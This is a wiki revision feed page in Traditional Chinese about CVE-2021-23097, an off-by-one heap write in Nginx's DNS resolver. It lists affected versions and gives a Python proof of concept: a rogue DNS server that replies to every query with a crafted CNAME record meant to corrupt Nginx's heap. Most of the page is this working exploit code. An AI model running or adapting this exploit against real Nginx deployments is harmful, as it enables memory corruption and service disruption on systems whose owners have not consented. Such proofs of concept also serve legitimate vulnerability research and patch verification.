https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2021-23097_Nginx%E8%A7%A3%E6%9E%90%E5%99%A8_Off-by-One%E5%A0%86%E5%AF%AB%E5%85%A5%E6%BC%8F%E6%B4%9E%2Fzh-tw
CVE-2021-23097 Nginx解析器 Off-by-One堆寫入漏洞/zh-tw - Revision history
2026-04-06T03:00:12Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=CVE-2021-23097_Nginx%E8%A7%A3%E6%9E%90%E5%99%A8_Off-by-One%E5%A0%86%E5%AF%AB%E5%85%A5%E6%BC%8F%E6%B4%9E/zh-tw&diff=5827&oldid=prev
Pwnwiki: Created page with "==影響版本=="
2021-06-24T02:21:45Z
<p>Created page with "==影響版本=="</p>
<p><b>New page</b></p><div><languages /><br />
==影響版本==<br />
<pre><br />
0.6.18 - 1.20.0<br />
</pre><br />
<br />
==POC==<br />
<pre><br />
from binascii import hexlify, unhexlify<br />
from socket import AF_INET, SOCK_DGRAM, socket<br />
from struct import unpack<br />
<br />
sock = socket(AF_INET, SOCK_DGRAM)<br />
sock.bind(('0.0.0.0', 1053))<br />
<br />
while True:<br />
request, addr = sock.recvfrom(4096)<br />
print(b'<<< '+hexlify(request))<br />
ident = request[0:2]<br />
# find request<br />
nullptr = request.find(0x0,12)<br />
reqname = request[12:request.find(0x0,12)+1]<br />
reqtype = request[nullptr+1:nullptr+3]<br />
reqclass = request[nullptr+3:nullptr+5]<br />
print('name: %s, type: %s, class: %s' % (reqname, unpack('>H', reqtype), unpack('>H', reqclass)))<br />
# CNAME response<br />
response = request[0:2] + \<br />
unhexlify('''81800001000100000000''') + \<br />
reqname + reqtype + reqclass + \<br />
unhexlify('c00c0005000100000e10000b18414141414141414141414141414141414141414141414141c004')<br />
print(b'>>> '+hexlify(response))<br />
sock.sendto(bytes(response), addr)<br />
</pre><br />
<br />
==參考==<br />
https://github.com/x41sec/advisories/blob/master/X41-2021-002/poc.py</div>
Pwnwiki